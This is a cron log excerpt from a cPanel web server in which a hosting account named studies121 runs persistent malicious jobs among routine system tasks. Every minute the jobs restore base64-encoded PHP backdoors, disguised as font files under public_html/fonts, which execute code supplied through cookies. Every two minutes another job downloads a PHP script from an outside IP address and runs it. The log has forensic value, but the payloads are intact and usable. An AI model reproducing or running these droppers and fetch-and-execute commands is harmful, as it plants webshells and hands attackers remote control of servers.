Sep  7 20:20:01 ip-184-168-122-23 CROND[13121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:20:01 ip-184-168-122-23 CROND[13119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:20:01 ip-184-168-122-23 CROND[13122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:20:01 ip-184-168-122-23 CROND[13120]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 20:21:01 ip-184-168-122-23 CROND[13239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:21:01 ip-184-168-122-23 CROND[13240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:21:01 ip-184-168-122-23 CROND[13242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:21:01 ip-184-168-122-23 CROND[13241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:22:02 ip-184-168-122-23 CROND[13349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:22:02 ip-184-168-122-23 CROND[13353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:22:02 ip-184-168-122-23 CROND[13350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:22:02 ip-184-168-122-23 CROND[13351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:22:02 ip-184-168-122-23 CROND[13352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:23:01 ip-184-168-122-23 CROND[13503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:23:01 ip-184-168-122-23 CROND[13502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:23:01 ip-184-168-122-23 CROND[13504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:23:01 ip-184-168-122-23 CROND[13505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:24:01 ip-184-168-122-23 CROND[13644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:24:01 ip-184-168-122-23 CROND[13647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:24:01 ip-184-168-122-23 CROND[13646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:24:01 ip-184-168-122-23 CROND[13645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:24:01 ip-184-168-122-23 CROND[13648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:25:02 ip-184-168-122-23 CROND[13785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:25:02 ip-184-168-122-23 CROND[13787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:25:02 ip-184-168-122-23 CROND[13788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:25:02 ip-184-168-122-23 CROND[13790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:25:02 ip-184-168-122-23 CROND[13791]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 20:25:02 ip-184-168-122-23 CROND[13789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:25:02 ip-184-168-122-23 CROND[13792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:26:01 ip-184-168-122-23 CROND[14007]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  7 20:26:01 ip-184-168-122-23 CROND[14008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:26:01 ip-184-168-122-23 CROND[14010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:26:01 ip-184-168-122-23 CROND[14011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:26:01 ip-184-168-122-23 CROND[14012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:26:01 ip-184-168-122-23 CROND[14009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  7 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  7 20:27:01 ip-184-168-122-23 CROND[14347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:27:01 ip-184-168-122-23 CROND[14350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:27:01 ip-184-168-122-23 CROND[14351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:27:01 ip-184-168-122-23 CROND[14349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:28:01 ip-184-168-122-23 CROND[14450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:28:01 ip-184-168-122-23 CROND[14452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:28:01 ip-184-168-122-23 CROND[14451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:28:01 ip-184-168-122-23 CROND[14453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:28:01 ip-184-168-122-23 CROND[14454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:29:01 ip-184-168-122-23 CROND[14552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:29:01 ip-184-168-122-23 CROND[14554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:29:01 ip-184-168-122-23 CROND[14553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:29:01 ip-184-168-122-23 CROND[14555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:30:01 ip-184-168-122-23 CROND[14669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:30:01 ip-184-168-122-23 CROND[14671]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 20:30:01 ip-184-168-122-23 CROND[14675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:30:01 ip-184-168-122-23 CROND[14676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:30:01 ip-184-168-122-23 CROND[14673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:30:02 ip-184-168-122-23 CROND[14674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:30:02 ip-184-168-122-23 CROND[14677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:30:02 ip-184-168-122-23 CROND[14680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:30:02 ip-184-168-122-23 CROND[14679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:31:01 ip-184-168-122-23 CROND[14786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:31:01 ip-184-168-122-23 CROND[14787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:31:01 ip-184-168-122-23 CROND[14788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 20:31:01 ip-184-168-122-23 CROND[14785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:31:01 ip-184-168-122-23 CROND[14789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:32:01 ip-184-168-122-23 CROND[14869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:32:01 ip-184-168-122-23 CROND[14872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:32:01 ip-184-168-122-23 CROND[14871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
